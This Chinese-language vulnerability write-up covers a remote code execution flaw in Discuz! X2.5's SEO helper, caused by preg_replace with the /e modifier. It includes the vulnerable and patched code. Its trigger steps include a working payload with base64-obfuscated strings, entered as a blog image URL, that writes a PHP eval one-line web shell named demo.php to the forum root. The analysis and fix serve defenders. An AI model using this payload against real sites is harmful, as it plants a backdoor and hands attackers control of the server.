Discuz! X2.5 /source/class/helper/helper_seo.php Remote Code Execution Vul

catalog

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

1. 漏洞描述

SEO模块中的preg_replace+修正符e+双引号引发的远程代码执行漏洞

Relevant Link:

http://www.wooyun.org/bugs/wooyun-2012-06420

2. 漏洞触发条件

1. 后台设置，打开SEO扩展 
2. 注册任意账户
3. 登陆用户，发表blog日志(注意是日志)
4. 添加图片，选择网络图片，地址{${fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}} 
5. 访问日志，论坛根目录下生成demo.php，一句发密码c

Relevant Link:

http://weibo.com/2242334800/ygxonqLF9?type=comment#_rnd1432431149028
http://sebug.net/vuldb/ssvid-60082

3. 漏洞影响范围
4. 漏洞代码分析

/source/class/helper/helper_seo.php

..
if($searcharray && $replacearray) 
{
    $_G['trunsform_tmp'] = array(); 
    /*
    1. 用于替换的$content来自于用户输入的图片地址 
    2. preg_place替换后的内容使用了双引号包裹
    3. preg_replace的搜索正则使用了"e"修饰符
    导致PHP在完成替换后，会使用eval对替换后的内容进行一次执行，又因为: eval("${${}}")这种语法可以动态执行，最终导致黑客可以远程代码注入
    */
    $content = preg_replace("/(<scripts+.*?>.*?</script>)|(<as+.*?>.*?</a>)|(<imgs+.*?[/]?>)|([attach](d+)[/attach])/ies", 'helper_seo::base64_transform("encode", "<relatedlink>", "\1\2\3\4", "</relatedlink>")', $content);
    $content = preg_replace($searcharray, $replacearray, $content, 1);
    $content = preg_replace("/<relatedlink>(.*?)</relatedlink>/ies", "helper_seo::base64_transform('decode', '', '\1', '')", $content);
}
..

Relevant Link:

http://www.wooyun.org/upload/201204/2620001868555ef2f2153e9b615d32467724d943.jpg

5. 防御方法

/source/class/helper/helper_seo.php

..
if($searcharray && $replacearray) 
{
    $_G['trunsform_tmp'] = array(); 
    /* 修复后将双引号改为单引号，使动态语法${${}}失去执行能力 */
    $content = preg_replace("/(<scripts+.*?>.*?</script>)|(<as+.*?>.*?</a>)|(<imgs+.*?[/]?>)|([attach](d+)[/attach])/ies", "helper_seo::base64_transform('encode', '<relatedlink>', '\1\2\3\4', '</relatedlink>')", $content);
    /* */
    $content = preg_replace($searcharray, $replacearray, $content, 1);
    $content = preg_replace("/<relatedlink>(.*?)</relatedlink>/ies", "helper_seo::base64_transform('decode', '', '\1', '')", $content);
}
..

6. 攻防思考

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